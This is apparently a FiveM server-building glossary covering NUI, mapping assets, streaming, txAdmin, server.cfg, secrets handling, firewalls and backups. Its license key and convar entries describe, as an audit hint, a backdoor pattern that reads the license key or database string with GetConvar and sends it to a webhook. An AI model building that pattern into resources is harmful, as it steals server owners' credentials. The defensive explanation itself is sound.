Ejemplo · ui_page marks the HTML, files{} lists the loadable. Exact paths -- Your interface's main page ui_page 'html/index.html' -- EVERYTHING the browser must be able to load (exact paths) files { 'html/index.html', 'html/style.css', 'html/app.js', 'html/img/logo.png' }En qué se equivoca todo el mundo
- Forgetting to put a file in files{}. The browser cannot load what is not listed.
- Paths that do not match the real folders. It gives a blank screen with no clear error.
Relacionado NUI, HUD, SendNUIMessage- HUD
Heads-Up Display. The information layer shown always over the game (health, money, hunger, thirst, custom minimap). In FiveM it is done with NUI, but unlike a menu, a HUD usually needs no focus.
A HUD is a NUI that only informs. It shows real-time data and does not expect clicks from the player, so do not give it focus with SetNuiFocus. If you give it focus, you take control of the game away for nothing. The HUD just receives data from Lua with SendNUIMessage and paints it.
The usual pattern is that the client computes or receives from the server the values (health, balance, status) and sends them to the NUI with an update action in a loop or when they change. The JavaScript updates the numbers and bars without reloading anything. Since it is drawn constantly, the HUD should be light so it does not cost performance.
For performance, two cares. Do not send SendNUIMessage every frame if the data does not change that fast, updating a few times per second is enough and feels just as smooth. And avoid animating expensive properties on the web. A HUD that overuses heavy effects can eat into the player's FPS.
Ejemplo · A HUD updates data without focus and without flooding with per-frame messages -- HUD: sends data, does NOT give focus (the player keeps playing) CreateThread(function() while true do local ped = PlayerPedId() SendNUIMessage({ action = 'update', health = GetEntityHealth(ped) - 100, money = getCash() }) Wait(500) -- twice a second is enough, not every frame end end)En qué se equivoca todo el mundo
- Giving focus to a HUD. You block the game for an interface that only shows information.
- Sending SendNUIMessage every frame. It saturates without feeling better. A few times a second is plenty.
Relacionado NUI, SendNUIMessage, SetNuiFocus- NUI menu vs ox_libESXQBCoreQboxox
Two ways to have menus on a server. A custom NUI gives you full control over the design in exchange for programming it all. ox_lib gives you ready-made, consistent menus, inputs and notifications with a single call.
With a custom NUI you build the HTML, the CSS and the JavaScript, plus the bridge with Lua via SendNUIMessage and RegisterNUICallback. You get absolute freedom over looks and behaviour, but you carry all the work, including focus, clean closing and validating what comes back to the server. It is worth it when the design is part of the server's identity.
ox_lib is a very common library that ships ready-made menus, context boxes, inputs and notifications, with a uniform, accessible style reachable from Lua without writing HTML. With one call you have a working menu. You gain speed and consistency across all your resources, and you avoid the typical bugs of a hand-made NUI. In exchange, the look is ox_lib's unless you customise it.
The practical choice is simple. For internal, job or admin menus, ox_lib saves you hours and mistakes. For big, very visual screens that define the server's brand, like a main HUD or a phone, a custom NUI gives the finish ox_lib does not aim for. Many servers use both at once.
Ejemplo · ox_lib solves a menu in a few lines. A custom NUI would be all the HTML+bridge -- A menu with ox_lib: no HTML, no manual focus, ready in Lua lib.registerContext({ id = 'job_menu', title = 'Job', options = { { title = 'Clock in', onSelect = function() TriggerServerEvent('job:clockIn') end }, { title = 'Collect', onSelect = function() TriggerServerEvent('job:collect') end }, } }) lib.showContext('job_menu')En qué se equivoca todo el mundo
- Building a custom NUI for a simple options menu. It is reinventing what ox_lib gives ready-made and bug-free.
- Using ox_lib and still not validating on the server. The library paints the menu, but the onSelect still fires events you must harden.
Relacionado NUI, HUD, RegisterNUICallback- debugging NUI (browser console)
Diagnosing interface problems using the DevTools of the browser FiveM embeds. With the resource running you can see the JavaScript console, the errors and the Network tab of your fetch calls.
Since the NUI is a web page inside CEF, it has its own DevTools, the same ones you would use in Chrome. With the resource running you open the address http://localhost:13172 in your browser and pick your resource's page. There you see the console, the JavaScript errors and the Network tab with each fetch going out to Lua.
The console tells you instantly what would take hours blind. A JavaScript error stopping the panel from painting, a fetch returning an error because the callback does not exist or did not call cb, a value arriving undefined because the action does not match. Adding console.log at the key spots of the message and the fetch turns a 'it does not work' into a concrete failure.
For the physical stuck-cursor problem there is a separate shortcut. In FiveM's client F8 console type SetNuiFocus(false, false) and you regain control while testing. They are two different consoles. The browser's (13172) for the NUI JavaScript, and the client F8 for Lua commands.
Ejemplo · The browser console at 13172, plus the F8 focus trick Debugging a NUI that does not respond 1. With the resource running, open http://localhost:13172 in your browser and pick your resource's page. 2. Console tab: check for red JS errors when opening the panel. 3. Network tab: press the button and check whether the fetch goes out and what code it returns. If it does not go out, the button listener fails. 4. Add console.log(e.data) in the message to see what arrives from Lua. 5. Stuck cursor while testing: client F8 and SetNuiFocus(false,false).En qué se equivoca todo el mundo
- Debugging the NUI blind without opening the DevTools. The console tells you the exact failure in seconds.
- Confusing the two consoles. The NUI JavaScript is seen at 13172, not in the client F8.
Relacionado NUI, fetch from NUI (https://resource-name/), SetNuiFocus
Mapeo y assets
MLO, vehículos, ropa y streaming.
- MLO
Map Loading Object. A custom interior or map area (police station, club, mansion, a whole neighbourhood) added to the GTA V world with its assets and one or more .ymap that place them at specific coordinates.
An MLO arrives as a resource with its models in the stream/ folder and one or more .ymap that place that geometry and those props in the world. The simple way to load it is to mark the resource as a map with this_is_a_map 'yes' in the fxmanifest, and so FiveM treats its .ymap as part of the world on start.
Many MLOs also need a .ytyp, the definition of prop and interior types, registered with data_file 'DLC_ITYP_REQUEST'. Without that .ytyp the game does not know the interior's pieces and you get gaps or props that do not load. Once loaded, the interior exists in the world and to see it you need the entry coordinates the author usually provides.
The number one MLO failure is collisions. If you walk on the new floor but fall into the void or go through a wall, the .ybn of that area is missing or faulty. And if you see floating geometry or the old interior mixed with the new, it is almost always a conflict between two resources touching the same area or a missing .ytyp. Load it on its own, with no other maps active, to isolate the problem.
Ejemplo · An MLO fxmanifest with this_is_a_map and the registered .ytyp fx_version 'cerulean' game 'gta5' -- Marks the resource as a map: loads the .ymap automatically this_is_a_map 'yes' files { 'data/station.ymap', 'data/props.ytyp' } -- Registers the prop/entity type definitions of the MLO data_file 'DLC_ITYP_REQUEST' 'data/props.ytyp'En qué se equivoca todo el mundo
- Forgetting to register the .ytyp with data_file. The interior loads half-done or with missing props.
- Loading two MLOs that touch the same area. Geometries mix. Isolate it by loading it alone.
- Calling an interior good without walking the floor. Without a correct .ybn it is scenery, you fall into the void.
Ver la guía relacionadaRelacionado YMAP, YTYP, stream (folder)- YMAP
The GTA V format that places objects in the world: positions, rotations and which props appear. It is what 'puts' an MLO, some parked cars or a decoration in its exact spot. It is edited with CodeWalker.
A .ymap does not contain models, it contains placements. It says which props exist in an area, where they go and how they are rotated. The models themselves live in the stream/ folder or in an already loaded DLC, and the .ymap just places them. That is why the same prop can appear many times in different spots with a single .ymap.
The tool to edit them is CodeWalker. With it you fly over the map, open the .ymap over the real world and see where it lands, enable the project edit mode and move or add props with precision. It is also where you get the exact coordinates (X, Y, Z and heading) you then use in a teleport or a blip.
For FiveM to load a .ymap it usually suffices to mark the resource as a map with this_is_a_map 'yes' and list it in files{}. If after editing you do not see the changes, restart the resource, and if a prop does not appear, check that its model is in stream/ or in a loaded DLC, because the .ymap only places what the game already has.
Ejemplo · The .ymap edit cycle: open, move, export, test Editing a .ymap in CodeWalker, at a glance 1. Open CodeWalker and load the .ymap over the map (World/Project). 2. New Project, add the .ymap so you can move and create entities. 3. Move props with the gizmos or add new ones with Add Entity. 4. Note the Position X Y Z and the heading for teleports or blips. 5. Save, back to FiveM and restart the resource to see the change.En qué se equivoca todo el mundo
- Editing the .ymap and not restarting the resource. The changes are not seen until the restart.
- Placing a prop whose model is not in stream/ nor in a DLC. The .ymap places, it does not provide the model.
Ver la guía relacionadaRelacionado MLO, YTYP, stream (folder)- YTYP
The GTA V format that defines prop and interior types: which entities exist and their bounds. Many MLOs need it so the game 'knows' their pieces. It is registered with data_file 'DLC_ITYP_REQUEST'.
While the .ymap places objects, the .ytyp defines them. It declares which props and interiors exist, with what name and what dimensions. When an MLO brings its own pieces, it needs its .ytyp so the engine knows what those entities are before a .ymap tries to place them.
The step that gets forgotten is registering it. Listing it in files{} is not enough, you have to connect it to the engine with data_file 'DLC_ITYP_REQUEST' pointing to the file. If that registration is missing, the game does not recognise the MLO's pieces and you see gaps, props that do not load or a half-done interior.
The .ytyp also enters the diagnosis of broken MLOs. When an interior appears incomplete or with geometry that should not be there, alongside resource conflicts, the usual cause is a .ytyp that is missing or was not registered. Loading the resource alone and confirming the data_file is set right rules that reason out.
Ejemplo · The .ytyp is listed in files{} and also registered with data_file files { 'data/props.ytyp' } -- Listing it is not enough: it must be REGISTERED in the engine data_file 'DLC_ITYP_REQUEST' 'data/props.ytyp'En qué se equivoca todo el mundo
- Listing the .ytyp in files{} but not registering it with data_file. The game does not recognise the pieces.
- Blaming the .ymap when the interior loads half-done. Often the missing one is the .ytyp.
Relacionado MLO, YMAP, stream (folder)- stream (folder)
The special resource folder where you put the assets (models and textures) you want FiveM to send to the client. Everything you put inside is transmitted automatically to the player, whether in subfolders or not.
The stream/ folder is magic to FiveM. Any .yft, .ydr, .ytd, .ydd or .ybn you put inside is sent to the client on connect, without you declaring it one by one. You can organise it in subfolders for convenience, it does not matter, FiveM walks everything inside and transmits it.
Watch the key difference. Assets go in stream/ and transmit on their own. Data files, a vehicle's .meta or a map's .ymap and .ytyp, are not assets but configuration, and those must be listed in files{} and connected with data_file. Confusing the two is a very common mistake when building a resource.
Everything you put in stream/ has a cost. It is exactly what each player downloads the first time they join and what the game keeps in memory. A bloated stream/ with 4K textures and unoptimised models lengthens the 'Joining' time and can tank FPS. Remove what you do not use, because each loaded asset takes up quota even if no one steps on it.
Ejemplo · stream/ for the assets, data/ for the .meta that are declared resources/ └── crx_adder/ ├── fxmanifest.lua ├── stream/ <- assets: transmit BY THEMSELVES │ ├── adder.yft │ └── adder.ytd └── data/ <- data: must be declared in the manifest ├── handling.meta └── vehicles.metaEn qué se equivoca todo el mundo
- Putting the .meta in stream/ expecting them to load on their own. Data is declared with files{} and data_file, it is not transmitted.
- Filling stream/ with unoptimised 4K textures. It lengthens the download and eats client memory.
- addon vehicle (vehicles.meta, carvariations, handling)
A new car that lives alongside the base GTA ones, with its own spawn name. It needs the models in stream/ (the chassis .yft and its .ytd) and four .meta describing how it drives, its name, its colours and its variations.
The addon car is made of two parts. The models, which go in stream/ and transmit on their own, the chassis .yft with its physics and the .ytd with its textures. And the data, four .meta files you must list in files{} and connect each one with a data_file line of its type. Without that hookup, the game does not register the car.
Each .meta has its role. vehicles.meta defines the car and includes the spawn name, the name you summon it with. handling.meta is how it drives, an XML you open with any editor and where you touch mass, drive force, braking, grip and speed to balance it. carcols.meta carries colours and combinations, and carvariations.meta the variations, default colours and extras tied to the model.
The most frequent error when testing is not a code one. If you misspell the spawn name when summoning it with your framework's command, nothing appears, and it is not a fault, there simply is no model with that name. The spawn name is the one you saw in vehicles.meta. And the golden rule is one car, one test. Add one, restart it and check it before the next, so you know which one breaks if something blows up.
Ejemplo · The four .meta of an addon car listed and hooked to the engine -- The .meta are data: they go in files{} and hook up with data_file files { 'data/handling.meta', 'data/vehicles.meta', 'data/carcols.meta', 'data/carvariations.meta' } data_file 'HANDLING_FILE' 'data/handling.meta' data_file 'VEHICLE_METADATA_FILE' 'data/vehicles.meta' data_file 'CARCOLS_FILE' 'data/carcols.meta' data_file 'VEHICLE_VARIATION_FILE' 'data/carvariations.meta'En qué se equivoca todo el mundo
- Listing the .meta but forgetting the data_file line for each. The game does not register the car.
- Misspelling the spawn name when summoning it. Nothing appears, and it is not a code error, that model just does not exist.
- Editing the handling of many cars at once without testing. A wrong value can make the car fly off on spawn.
- clothing and peds
The ped is the character model, and its clothing is not a single piece but interchangeable parts. Each part has a drawable (the garment mesh) and a texture (its colour or pattern). It is added by stream or managed by script.
The character is made of components, what covers the body, and props, the accessories that go on and off like helmets, glasses or watches. Changing a shirt means changing the drawable number of the torso component, and changing its colour means changing the texture number. The key components are 4 (legs), 6 (shoes), 8 (undershirt) and 11 (the main upper garment).
There is a trick that confuses everyone. The visible upper garment is usually component 11, while 3 controls the torso and arms, that is which hands show. That is why you sometimes change the jacket and see odd hands, because you have to match 11 with the correct 3. It is the most common cause of 'the clothing looks wrong'.
To add new clothing there are two paths. Addon clothing by stream, putting the .ydd (drawables) and .ytd (textures) in stream/ with their .meta, ideal for police or EMS uniforms and big packs. Or clothing by script with wardrobe resources like illenium-appearance or qb-clothing, which manage stores and save the player's outfit in the database. Many commercial packs come ready for these systems.
Ejemplo · Component 11 for the garment and 3 for the arms, the classic pairing -- Dress the ped by components: drawable + texture local ped = PlayerPedId() -- Component 11 = upper garment (jacket), drawable 15, texture 0 SetPedComponentVariation(ped, 11, 15, 0, 0) -- NOTE: match 11 with 3 (torso/arms) so the hands line up SetPedComponentVariation(ped, 3, 4, 0, 0) -- A prop: helmet (prop 0) SetPedPropIndex(ped, 0, 5, 0, true)En qué se equivoca todo el mundo
- Changing the upper garment (11) and forgetting the torso/arms (3). Mismatched hands or sleeves show up.
- Confusing components with props. The clothing that covers is components, the accessories that come off are props.
- Adding addon clothing with mismatched numbering. It shows up invisible or as a black blob in the store.
- textures (ytd) and models (ydr)
The .ydr is a static 3D model (a prop, a lamp post, a building). The .ytd is a texture dictionary, the package of .dds images that dress that model. One is the shape, the other is the skin.
It helps to keep the cheat sheet clear. The .ydr is static geometry without physics, a prop or a building. The .yft is a model with physics and breakable parts, the vehicles. The .ytd is the texture dictionary, the images that colour any of those models. Reskins, liveries and paint live in the .ytd, not in the model.
For a reskin you do not need Blender. You open the .ytd with OpenIV in edit mode, export the texture as .dds or .png, edit it in Photoshop or GIMP respecting size and internal name, and reimport it keeping that same name. The model looks for its texture by the internal name, so if you change it by accident, the material stops being found.
About the format, GTA uses block-compressed textures. DXT1 (BC1) is used for textures without transparency and DXT5 (BC3) when an alpha channel is needed. The size must be a power of two (256, 512, 1024, 2048) and generating mipmaps is advisable. The universal symptom of a lost texture is the model in hot pink, which is GTA's 'I cannot find this material'. White or black is usually wrong size or compression.
Ejemplo · The format cheat sheet and the cycle of a reskin without Blender Format cheat sheet and a texture reskin .yft = moves/breaks (cars) .ydr = stays still (props/buildings) .ydd = is worn (clothing) .ytd = colours (textures .dds) .ymap = places .ytyp = defines .ybn = collides Reskin of a .ytd: 1. OpenIV in Edit mode, open the .ytd and export the texture (.dds/.png). 2. Edit it in Photoshop/GIMP, same size and same internal name. 3. Reimport (Replace) with the same name, save and test. Hot pink in-game = lost texture (name or size changed).En qué se equivoca todo el mundo
- Renaming the texture on reimport. The model looks for it by its internal name and stops finding it.
- Using a size that is not a power of two or bad compression. It comes out white, black or hot pink.
- Confusing .ydr with .yft. The static one is .ydr, the one with physics that breaks is .yft.
- streaming and client memory limits
Every asset you add has two costs: the player downloads it on connect and the game keeps it in memory. Overdoing it bloats the join time and can cause FPS drops and crashes from running out of memory on the client.
Streaming is not free. Everything you put in your resources' stream/ folders is exactly what each player downloads the first time they join and after every update. A server with hundreds of 4K cars and several giant MLOs can take minutes to load, and that 'Joining' time is what most puts off new players.
The second cost is client memory. GTA V and FiveM manage a limited streaming budget, and saturating it with too many assets at once causes textures that do not load, props that flicker and, in the worst case, crashes from running out of memory. It is not your server that blows up, it is the player's game running out of room.
The way to keep it in check is to optimise and prune. Lower the textures that are not looked at up close from 4K to 1024 or 512, mind the LODs so models simplify at distance, do not overuse enormous MLOs with thousands of props if you use one corner, and remove what you do not use because it takes up quota even if no one steps on it. Measure with resmon in the client F8 console, a stream resource at rest should read near zero.
Ejemplo · Optimise and prune so you do not bloat the download or the memory Cut streaming cost, by impact 1. Textures: 4K on a wheel or a tiny sign is throwing away megabytes. Lower to 1024 or 512 what is not looked at up close. 2. LODs: without levels of detail the model is drawn whole always. 3. MLO: do not load giant interiors with thousands of props for one corner. 4. Prune: remove assets no one uses, they take up quota anyway. 5. Measure: client F8 -> resmon. A stream at rest should be around 0.00 ms.En qué se equivoca todo el mundo
- Putting everything in 4K 'because it looks better'. On a wheel or a sign it is not noticeable and it bloats the download.
- Not looking at the total weight of resources. It is exactly what each player downloads on join.
- Leaving loaded assets no one uses anymore. They take up streaming quota even if no one steps on them.
Administración
Montar, configurar y mantener el servidor.
- txAdmin
The web admin panel that ships inside FXServer. From the browser you start the server, watch the live console, manage resources, players, bans and backups.
It is not downloaded separately. txAdmin is the monitor resource the artifact ships and it starts on its own. The first time you run FXServer, the console shows a local URL (port 40120 by default) and a one-time PIN. You log in, create your panel admin account and from there set the server up, either with a recipe (a template that downloads and configures a full ESX Legacy or QBCore) or blank to do it yourself.
The day to day lives there. Live console to read errors in real time and run commands, start and stop resources with a click, player management by their identifiers (kick, ban, warn), a server.cfg editor, scheduled restarts with a warning to players, and monitor mode, which restarts the server on its own if it hangs.
And a warning that gets ignored too often. txAdmin controls the whole server. Its port must not be open to the internet unprotected, the password cannot be weak, and you do not hand full access to just anyone on staff, because txAdmin lets you create accounts with limited permissions for exactly that.
En qué se equivoca todo el mundo
- Exposing 40120 to the internet with a weak password. It hands over the whole server, database included.
- Giving full txAdmin access to all staff. Give each person the minimum they need, the panel supports granular permissions.
- Thinking txAdmin backups cover your MySQL database. They do not, that one you back up yourself.
Ver la guía relacionadaRelacionado FXServer, backups, ports and firewall- server.cfg
The server's startup script. A text file FXServer reads top to bottom, where you define the network, the license, the sync, the permissions and which resources load and in what order.
Everything your server does at boot is here. The endpoints (the port it listens on), the name that appears on the list, sv_maxclients, OneSync, the license key, the ACE permissions and the ensure list. When something fails at startup, 90% of the time the cause is in this file, and it is almost always the order.
It is read in order, so the order is semantics, not decoration. Dependencies go first (oxmysql, ox_lib), then the framework (es_extended or qb-core) and your resources last. Putting an ESX resource before es_extended produces the classic attempt to index a nil value (global 'ESX'), because when that resource asks for the object, the object does not exist yet.
Secrets do not live here. The license key, the MySQL connection string and the webhooks go in a separate secrets.cfg, included in the .gitignore and loaded with exec at the end. That way you can share or version your config without handing over the keys to the city.
Ejemplo · Top to bottom is the real load order. endpoint_add_tcp "0.0.0.0:30120" endpoint_add_udp "0.0.0.0:30120" sv_hostname "My City | ESX | Roleplay EN" sv_maxclients 48 set onesync on sv_endpointprivacy true set sv_enforceGameBuild 2802 # Dependencies first, framework next, your stuff last ensure oxmysql ensure ox_lib ensure es_extended ensure my_resource # Permissions add_principal identifier.fivem:1234567 group.admin add_ace group.admin command allow # Secrets outside the repository exec secrets.cfgEn qué se equivoca todo el mundo
- Putting the sv_licenseKey and the MySQL password straight in here and pushing the file to GitHub.
- Ordering the ensures by taste or alphabetically. Dependencies must come before whoever uses them.
- Changing the cfg and only doing a refresh expecting the new order to apply. A clean order is only guaranteed by restarting FXServer.
- license key (sv_licenseKey)
The free key that identifies your server to Cfx.re. Without it the server accepts no players. It is secret, and if it leaks people can impersonate you or get it revoked.
You generate it on keymaster and paste it into the server.cfg as sv_licenseKey. txAdmin asks for it during install and writes the line for you. It is tied to your server and it is what puts you on the public Cfx.re list.
It is the most leaked secret in FiveM. People leave it in the server.cfg they push to GitHub, flash it by accident on a stream or share it with a developer they hire on Discord. A typical backdoor does not even steal money, it just reads GetConvar('sv_licenseKey') and sends it to a webhook, because with that key someone can run a server in your name.
If you suspect it leaked, regenerate it on keymaster now. There is no cost, you lose nothing, and it is the only action that cuts the problem at the root. From then on, it lives in secrets.cfg, outside the repository.
Ejemplo · The license and the database, always in a separate file. # secrets.cfg (in .gitignore, NEVER in the repository) sv_licenseKey "cfxk_YOUR_KEY" set mysql_connection_string "mysql://user:pass@localhost/my_city?charset=utf8mb4" set discord_webhook "https://discord.com/api/webhooks/..." # In server.cfg, at the end: # exec secrets.cfgEn qué se equivoca todo el mundo
- Pushing the server.cfg with the key to a public repository, even if it is private today and public tomorrow.
- Handing the key to a dev you hired on Discord to install a resource. Give them access to the server, not to your identity.
- Showing the server console on a stream or in a support screenshot without hiding the key.
- keymaster
The Cfx.re portal (keymaster.fivem.net) where you generate and manage your servers' license keys, and where you see the escrow assets you have bought.
You sign in with your Cfx.re account, create a new key stating the server type and IP, and copy it to the server.cfg. It is free. From there you can also revoke a compromised key and generate another, which is exactly what you do if yours ever leaked.
Keymaster is also where the escrow resources you buy on Tebex, tied to your account, appear. If a protected resource refuses to start with a verification error, the cause is usually that relationship between the asset, the account and the key the server started with.
One account, one owner. The Cfx.re account is your project's identity, so put 2FA on it and do not share it with staff. Admins do not need keymaster, they need txAdmin.
En qué se equivoca todo el mundo
- Generating the key with a collaborator's personal account. The day they leave, they leave with the server's identity.
- Creating a new key every time something fails instead of reading the log. The key is rarely the real problem.
- Not putting 2FA on the Cfx.re account. It is the master key to everything else.
Relacionado license key (sv_licenseKey), Cfx.re, escrow (Cfx asset protection)- ensure (start, restart, stop)
A server.cfg directive that starts a resource. ensure starts it if stopped and restarts it if already running. Order matters, because dependencies must come before whoever uses them.
The four commands you will use are ensure, start, stop and restart. start only starts if the resource was stopped, and fails ugly if it was already running. ensure is idempotent, so it is the one you want in the server.cfg and also the one you use in the console after touching a file. stop halts it and restart turns it off and on.
Order in the cfg is load order. If an ESX resource starts before es_extended, it will ask for the shared object and get nil, with the classic attempt to index a nil value (global 'ESX'). The healthy sequence is database, libraries, framework and your stuff last.
When you change the order, restart the whole FXServer process. A refresh reloads the list of available resources, but it does not guarantee a clean startup in the new order. That nuance explains many lost hours.
Ejemplo · ensure is safe to repeat. start is not. # In the server.cfg: dependencies first ensure oxmysql # 1. database ensure ox_lib # 2. base library ensure es_extended # 3. framework ensure my_resource # 4. your stuff, which uses the three above # In the server console, live: refresh # discovers new resources on disk ensure my_resource # restarts it without touching the rest stop my_resource # halts it restart my_resource # off and onEn qué se equivoca todo el mundo
- Placing your resources above es_extended or qb-core and blaming the script for the nil error.
- Adding a new resource to the folder and running ensure without a refresh first. The server does not know it exists yet.
- Using start in the server.cfg. Once the resource is up, you get an unnecessary error in the console.
- convar
A server configuration variable, like sv_licenseKey or mysql_connection_string. Defined in the cfg with set or setr and read from Lua with GetConvar.
Convars are the standard way to configure a server without touching code. You declare them with set in the cfg and read them with GetConvar('name', 'default') on the server. It is also the correct way to handle secrets, because the token lives in a secrets.cfg outside the repository and your Lua only asks for it at runtime.
There are two flavours worth not mixing. set creates a convar only the server sees. setr creates it replicated, that is, visible from the client too via GetConvar. Never use setr for a secret, because you would be handing your token to every connected player.
That is exactly why convars are a target. A backdoor that reads sv_licenseKey or the MySQL connection string and sends it to a Discord webhook needs nothing more to leave you without a server. If you audit a resource and see a GetConvar of something sensitive next to a PerformHttpRequest, you know what you are looking at.
Ejemplo · set for secrets, setr only for what the client is allowed to know. -- In secrets.cfg: set discord_token "YOUR_TOKEN" -- In server.lua: local token = GetConvar('discord_token', '') if token == '' then print('^1[my_resource] missing discord_token in the cfg^0') return end -- Replicated convar (the client sees it). NEVER for secrets. -- In the cfg: setr my_resource_debug "1" -- In client.lua: local debug = GetConvarInt('my_resource_debug', 0) == 1En qué se equivoca todo el mundo
- Using setr with a token or a password. You just replicated your secret to every client.
- Reading a convar with no default and dragging a nil through half the resource until something breaks far from the source.
- Writing the MySQL password straight into the .lua instead of reading it from a convar.
Relacionado license key (sv_licenseKey), server.cfg, backdoor- sv_maxclients
The maximum number of simultaneous players. Above 32 it requires OneSync on, and in practice your CPU limits it, not the cfg line.
It is a one-word line people raise out of optimism. Setting 128 does not give you 128 players, it gives you 128 slots your machine has to be able to move. The real ceiling is your CPU's per-core power and, above all, the quality of your resources. A server with twenty scripts in the red falls over at 40 players no matter what the cfg says.
The hard requirement is OneSync. Without set onesync on, any value above 32 stays at 32 and nobody warns you with a bright sign. That is the number one reason for forum threads asking why player 33 will not join.
The healthy advice is to open with fewer slots than you think you need and raise them when resmon and the console tell you there is headroom. A full, smooth server fills itself. A half-empty, stuttering one empties completely.
Ejemplo · The real limit is set by the machine, not the cfg number. set onesync on # without this, sv_maxclients > 32 is pointless sv_maxclients 64 # slots, not promises: your CPU and resources ruleEn qué se equivoca todo el mundo
- Raising maxclients without enabling OneSync and not understanding the invisible 32 cap.
- Opening with 128 slots on day one. With 30 people inside and unoptimised scripts, the city stutters and they do not come back.
- Confusing slots with performance. Widening the cfg does not buy CPU.
Relacionado OneSync, server.cfg, hosting and VPS- resources [ordered] (bracketed folders)
Folders with a bracketed name inside resources group resources together. They are not resources, they have no fxmanifest, and they let you start a whole group with a single line.
With two hundred loose resources in resources the folder becomes unmanageable. FiveM lets you group them in folders whose name is in brackets, like [esx], [maps], [vehicles] or [local]. Those folders are drawers. They have no fxmanifest.lua, they do not start on their own, and their name is not part of the resource's name.
The practical benefit is twofold. You can start the whole group with ensure [esx], and you can drop a new resource into the drawer without touching the cfg, because the group is already loading. They can also be nested, so an [esx] can contain an [esx_addons] inside and FiveM finds them just the same.
The price of that convenience is that you lose fine control over the order within the group. For critical dependencies (oxmysql, ox_lib, the framework) keep an explicit ensure ahead of everything. Groups are for the rest.
Ejemplo · Brackets group. They are not part of the resource name. # resources/ # [esx]/es_extended, [esx]/esx_menu_default ... # [maps]/my_police_station # [local]/my_hud # Start everything inside the drawer at once ensure [maps] ensure [local] # But keep critical dependencies explicit and ahead ensure oxmysql ensure ox_lib ensure es_extendedEn qué se equivoca todo el mundo
- Trying ensure [maps]/my_map. The resource is called my_map, the brackets only group it.
- Putting an fxmanifest.lua inside the bracketed folder thinking the group is a resource.
- Leaving the dependency order to a group ensure and ending up with ESX loading after whoever uses it.
- backups
Copies of the database and the resources folder. They are the only thing that saves you from a backdoor, an accidental deletion or a disk failure.
There are two things to lose and they are different. The MySQL database holds your players, their money, their houses and their vehicles, and it is the irreplaceable part. The resources folder holds your work, and that should also be in git. txAdmin backs up its own configuration, but it does not back up your MySQL, and that misunderstanding has killed more cities than any cheater.
The decent minimum is an automatic daily mysqldump, stored off the server (another disk, another machine, a bucket). If the backup lives on the same machine that gets compromised or dies, it is not a backup, it is a folder.
And the most important part, which nobody does. Restore a copy now and then on a test server and confirm the dump works. A backup you have never restored does not exist, and you find out on the very day there is nothing left to recover.
Ejemplo · Dated dump, rotation and a restore test. # Daily dump, compressed and dated in the filename mysqldump -u backup_user -p'PASSWORD' --single-transaction my_city \ | gzip > /backups/my_city_$(date +%F).sql.gz # Delete dumps older than 14 days find /backups -name "my_city_*.sql.gz" -mtime +14 -delete # Restore (test it on a test server, not in production) gunzip < /backups/my_city_2026-07-01.sql.gz | mysql -u root -p my_cityEn qué se equivoca todo el mundo
- Thinking txAdmin backups include the database. They do not.
- Keeping the copies on the same server. Ransomware, a backdoor or a dead disk takes both.
- Never testing the restore. Finding out the dump was empty on disaster day is a classic.
Relacionado txAdmin, oxmysql, hosting and VPS- hosting and VPS
Where your server lives. A VPS or dedicated gives you full control, a game host gives it all ready-made, and your home PC is for testing and nothing else.
The first thing to understand is that FiveM is almost single-threaded. Most of the server's work falls on a single core, so a 16-core VPS of weak cores performs worse than a 4-core of fast ones. Look at the CPU's clock and generation before the core count. RAM is driven by your assets (maps, vehicles, streaming) and the network needs low latency to your players plus anti-DDoS protection, because attacks in FiveM are the norm, not the exception.
With a VPS or dedicated you are in charge. You harden the system, configure the firewall, pick the artifact and automate the backups. In exchange, security and updates are your problem. With a specialised game host you get a panel, one-click install and included anti-DDoS, but less fine control and sometimes a weaker per-core CPU than they sell you.
Your home PC is for developing and testing, full stop. Opening it to the internet exposes your IP and your home network, and a single flood attack can knock you and your family offline. That is the line between a test server and a real one.
En qué se equivoca todo el mundo
- Picking the VPS by core count and cheap RAM. In FiveM per-core power rules.
- Opening the home server to the public. You expose your IP, your network and your machine, and the first DDoS knocks you offline.
- Hiring hosting with no anti-DDoS. It is weeks before a rival or a banned player takes the server down.
Relacionado FXServer, ports and firewall, backups- ports and firewall
FiveM needs 30120 open on TCP and UDP. Everything else should be closed, and txAdmin (40120) never open to the internet unprotected.
The game uses 30120 on both protocols. If you only open TCP, the server may show up on the list but players will not connect, or they connect and drop. If the server does not appear on the public list at all, the first things checked are the firewall and the endpoint_add in the cfg.
The healthy policy is deny by default and open only what is essential. 30120 to the world, txAdmin's 40120 restricted to your IP or behind a VPN, and MySQL listening only on localhost. A MySQL with 3306 open to the internet and a weak password gets found by scanning, nobody even has to look for it.
Anti-DDoS is not optional in FiveM. It can come from the provider, the game host or a proxy in front, but it has to be there. And sv_endpointprivacy true in the cfg stops your players' IPs from being exposed, which is what gets used to attack them mid-chase.
Ejemplo · 30120 to the world. txAdmin and MySQL, never. # Example with ufw (Linux). Deny by default, open just enough. ufw default deny incoming ufw allow 30120/tcp ufw allow 30120/udp # txAdmin ONLY from your IP (or better, behind a VPN) ufw allow from YOUR.IP.HERE.0 to any port 40120 proto tcp # MySQL is not opened to the internet: have it listen on localhost only ufw enableEn qué se equivoca todo el mundo
- Opening only TCP on 30120. The game uses TCP and UDP, and without UDP the connection drops.
- Leaving txAdmin (40120) reachable from any IP. It is the front door to the server.
- Exposing MySQL to the outside to connect with HeidiSQL from home. Use an SSH tunnel, not an open port.
Ver la guía relacionadaRelacionado hosting and VPS, txAdmin, server.cfg- logs and console (F8)
The two places the server tells you what is happening. The server console (or txAdmin's live console) for server-side errors, and the client console with F8 for client-side ones.
When something fails, the error is almost always written in one of the two consoles, with the resource name, the file and the line. A client-side error does not appear in the server console and vice versa, and that explains half the there is no error at all messages. If the failure is visual or in a menu, check F8. If it is about money, database or net events, check the server console.
F8 does not only show errors. It is where you type resmon to see the milliseconds each resource consumes and find the culprit behind the stutter, and where you see the warnings about scripts taking too long. txAdmin's live console does the same on the server, with the advantage that it is in your browser and keeps history.
For production, send your important logs (bans, large transactions, admin commands) to a Discord channel through a webhook. It gives you a history that survives a restart and lets you reconstruct what happened when someone empties the bank at three in the morning. That webhook is a secret, so it goes in secrets.cfg like any other.
En qué se equivoca todo el mundo
- Looking in the server console for an error that is client-side. Open F8 before assuming there is no error.
- Reporting a bug with the phrase it does not work and no error pasted. The log line is 80% of the diagnosis.
- Posting a console screenshot with the license key or the connection string in plain sight.
Ver la guía relacionadaRelacionado txAdmin, tick / thread, resmon
Got a question about your server?
Ask the chat. It knows ESX, QBCore, Qbox, ox and everything in this glossary, and explains it with your specific case.
Open the chat for free